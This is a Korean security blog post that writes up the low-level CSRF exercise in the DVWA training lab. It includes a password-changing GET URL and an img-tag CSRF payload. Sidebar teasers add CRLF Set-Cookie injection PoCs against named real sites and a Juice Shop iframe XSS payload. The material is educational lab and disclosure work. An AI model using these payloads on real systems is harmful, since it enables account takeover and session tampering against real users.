기본 콘텐츠로 건너뛰기

DVWA CSRF


DVWA Cross Site Request Forgery (CSRF) - low

[그림 1]

Summary
[그림1] 는 CSRF 공격을 시도해 볼 수 있도록 개발된 로그인 폼을 제공하고 있습니다.

Description
[그림 1] 에서는 GET 파라미터를 통해 데이터만 전송할뿐 , 보안 대책을 사용하지않고있어 CSRF 공격이 가능합니다.

Steps to reproduce
1. New password : test  Confirm new password : test 를 입력한 후 데이터를 전송합니다.

Change your admin password:


New password:

Confirm new password:


Password Changed.
전송받은 데이터는 다음과 같이 URL 에 표시됩니다. http://localhost./DVWA/vulnerabilities/csrf/?password_new=TEST&password_conf=TEST&Change=Change#
<img src="http://localhost./DVWA/vulnerabilities/csrf/?password_new=12354&password_conf=12354&Change=Change">



Impact
공격자는 무단으로 사용자의 비밀번호를 변경할수있습니다.

댓글

이 블로그의 인기 게시물

HackerOne Vulnerability Analysis 1

이 문서는  HackerOne 에서  제출된 많은 보고서들을 토대로 핵심 Payload만 요약하여 직접 작성하였습니다. Link :  https://hackerone.com/ Vulnerabilities list 1. CRLF Injection 2. Open Redirection  3. Cross-Site-Scripting 4. SQL-Injection 5. Path Traversal  CRLF Injection PoC http://www.myshopify.com/xxcrlftest%0aSet-Cookie:test=test3;domain=.myshopify.com; https://www.blackfan.myshopify.com/xxx%0aSet-Cookie:test=test2;domain=.myshopify.com; HTTP Response: HTTP/1.1 302 Moved Temporarily ... Location: http://myshopify.com/xxcrlftest Set-Cookie:test=test;domain=.myshopify.com; PoC: https://engineeringblog.yelp.com/xxcrlftest%0d%0aSet-Cookie:%20test=test;domain=.yelp.com HTTP Response: HTTP/1.1 301 Moved Permanently ... Location: http://engineeringblog.yelp.com/xxcrlftest Set-Cookie: test=test;domain=.yelp.com PoC (Chrome, Internet Explorer) http://gratipay.com/%0dSet-Cookie:csrf_token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; HTTP Resp...

Juice Shop XSS [ Dom based XSS ]

Juice Shop XSS [ Dom based XSS ] Search 입력란에 악성 스크립트를 넣어 XSS 취약점을 진단합니다. Payload :  <iframe src="javascript:alert(`xss`)">   다음과 같이 이는 < , > 는 &lt; , &gt; 로 특수문자를 필터링하지 않기에 XSS 에 취약합니다.

Vulnerability analysis tool

Vulnerability analysis tool List of tools you use 1. Burp-Suite- Link 2. Sqlmap- Link 3. Nikto- Link 4. DirBuster - Link 5. lazyrecon- Link 6. Nmap- Link This site is a reference for finding vulnerabilities more efficiently. 1.  google hacking- Link 2. exploit-db- Link 3. Shodan- Link 4. SSL Labs Server Test- Link 5. CVE-mitre - Link